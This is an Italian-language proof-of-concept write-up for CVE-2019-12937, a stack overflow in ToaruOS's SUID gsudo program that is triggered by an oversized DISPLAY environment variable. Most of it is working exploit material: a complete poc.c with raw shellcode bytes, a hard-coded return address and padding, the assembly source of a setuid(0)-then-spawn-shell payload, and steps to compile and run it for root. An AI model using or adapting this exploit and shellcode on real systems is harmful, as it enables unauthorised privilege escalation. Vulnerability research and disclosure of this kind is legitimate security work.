
Exploit proof-of-concept per CVE-2019-12937: un buffer overflow dello stack in gsudo di ToaruOS che consente l'escalation di privilegi locale a root tramite variabile d'ambiente DISPLAY creata ad hoc e shellcode.
ToaruOS è un sistema operativo open source scritto in C, sviluppato come hobby da uno studente di informatica presso l'Università dell'Illinois. Funziona su architetture POSIX e x86. Le sue caratteristiche principali includono il supporto per processi e thread, binari ELF, moduli caricabili a runtime, pipe (PIPE) e vari tipi di terminali (TTY), file system virtuale, file system EXT2, semafori, ecc.
ToaruOS 1.10.9 e versioni precedenti presentano una vulnerabilità di buffer overflow nel file apps/gsudo.c di gsudo. Un utente malintenzionato può sfruttare la variabile d'ambiente DISPLAY per elevare i propri privilegi a root.
Link al progetto ToaruOS 1.10.9
Copiare il file poc.c nel sistema ToaruOS, quindi eseguire nella directory di copia:
gcc -o poc poc.c
./poc
Nella funzione pex_connect, viene utilizzato sprintf per concatenare stringhe, ma non viene controllata la lunghezza del parametro target. Quando target è troppo lungo, si verifica un overflow dello stack.
FILE * pex_connect(char * target) {
char tmp[100];
sprintf(tmp, "/dev/pex/%s", target);
FILE * out = fopen(tmp, "r+");
if (out) {
setbuf(out, NULL);
}
return out;
}
Il parametro target è il valore della variabile d'ambiente DISPLAY.
yutani_t * yutani_init(void) {
char * server_name = getenv("DISPLAY");
if (!server_name) {
server_name = "compositor";
}
FILE * c = pex_connect(server_name);
if (!c) {
return NULL; /* Connessione fallita. */
}
......
......
}
Il programma gsudo chiama la funzione yutani_init. gsudo è un programma con privilegio SUID, quindi quando viene eseguito, i suoi privilegi sono quelli di root. È possibile sfruttare l'overflow sopra descritto per elevare i privilegi.
int main(int argc, char ** argv) {
if (argc < 2) {
return 1;
}
yctx = yutani_init();
....
....
}
Un programma SUID crea i permessi s e t per consentire a un utente normale di ottenere temporaneamente i permessi del proprietario del programma durante l'esecuzione.
Testiamo il processo di esecuzione di un programma SUID.
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void main()
{
int res;
res = setuid(0);
printf("%d\n",res);
system("/bin/sh");
}
La funzione setuid imposta l'identità dell'utente corrente; quando il parametro è 0, imposta il processo corrente come root. Dopo aver chiamato setuid, eseguiamo la shell e osserviamo l'utente corrente.
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ gcc -o setuid setuid.c
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid
-1
$ whoami
akashic
$ exit
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chown root ./setuid
[sudo] password for akashic:
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chmod u+s ./setuid
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid
0
# whoami
root
# exit
In ToaruOS, dopo l'avvio del sistema, tutti i programmi vengono caricati tramite fork e exec_elf, e i privilegi del programma sono quelli del processo padre. Quando si incontra un programma con permessi setuid, i privilegi del processo vengono impostati a quelli del proprietario del file.
Il programma in cui si verifica l'overflow ha permessi SUID, quindi sfruttando l'overflow dello stack è possibile effettuare un'elevazione dei privilegi.
ToaruOS non ha protezioni come ASLR (stack randomizzato), heap randomizzato, stack non eseguibile, ecc., quindi lo sfruttamento è piuttosto semplice, ma mancano anche strumenti di debug come GDB, quindi richiede comunque un po' di attenzione.
Attraverso l'overflow dello stack, controlliamo l'EIP per puntare all'indirizzo del nostro payload di elevazione dei privilegi. Il codice può essere eseguito sullo stack e l'indirizzo dello stack è fisso; posizioniamo il payload nello stack tramite la variabile environ. Stampiamo direttamente gli indirizzi di argv e environ.
#include <stdio.h>
extern char **environ;
void main(int argc, char *argv[])
{
printf("argv:%x\t\t\n",argv);
printf("environ:%x\t\n",env);
return 0;
}
Risultato:
argv: 3f00c00c
environ: 3f022010
Impostiamo il valore della variabile d'ambiente, controlliamo il valore di EIP in modo che punti tra argv e environ. L'indirizzo di EIP non deve contenere il carattere \x00. Saltiamo il problema riempiendo con istruzioni NOP.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define EIP "\xb0\xb0\x01\x3f"
#define EIP_DISTANCE 25U
char shellcode[] = {
0x31, 0xc0, 0x04, 0x18, 0x31, 0xdb, 0xcd, 0x7f, 0xeb, 0x1a, 0x5b, 0x31,
0xc0, 0x88, 0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c, 0x04, 0x07,
0x8d, 0x4b, 0x08, 0x8d, 0x53, 0x0c, 0xcd, 0x7f, 0x31, 0xc0, 0xcd, 0x7f,
0xe8, 0xe1, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68,
0x68, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x00
};
unsigned int shellcode_length = 57;
int main(void)
{
char payload[65536];
char vector[8192] = "DISPLAY=Akashic";
char * const arg[3] = { "/bin/gsudo", "meh", NULL };
char * const env[3] = { payload, vector, NULL };
memset(payload, 'A', sizeof(payload) - shellcode_length - 1);
payload[sizeof(payload) - shellcode_length - 1] = 0;
strcat(payload, shellcode);
for (unsigned int i = 0; i < EIP_DISTANCE; i++)
strcat(vector, EIP);
execve("/bin/gsudo", arg, env);
perror("execve()");
exit(EXIT_FAILURE);
}
Nel payload, eseguiamo prima setuid(0) per impostare i privilegi del processo corrente, poi eseguiamo system(/bin/shh) per ottenere una shell. ToaruOS chiama le funzioni di sistema tramite int 0x7f; i numeri delle chiamate di sistema si trovano in syscall_nums.h. setuid corrisponde a 24, system a 7.
xor eax, eax
add al, 24
xor ebx, ebx
int 0x7f
jmp short end
start:
pop ebx
xor eax, eax
mov [ebx+7], al
mov [ebx+8], ebx
mov [ebx+12], eax
add al, 7
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 0x7f
xor eax, eax
int 0x7f
end:
call start
db "/bin/shh"
db "XXXXXXXX"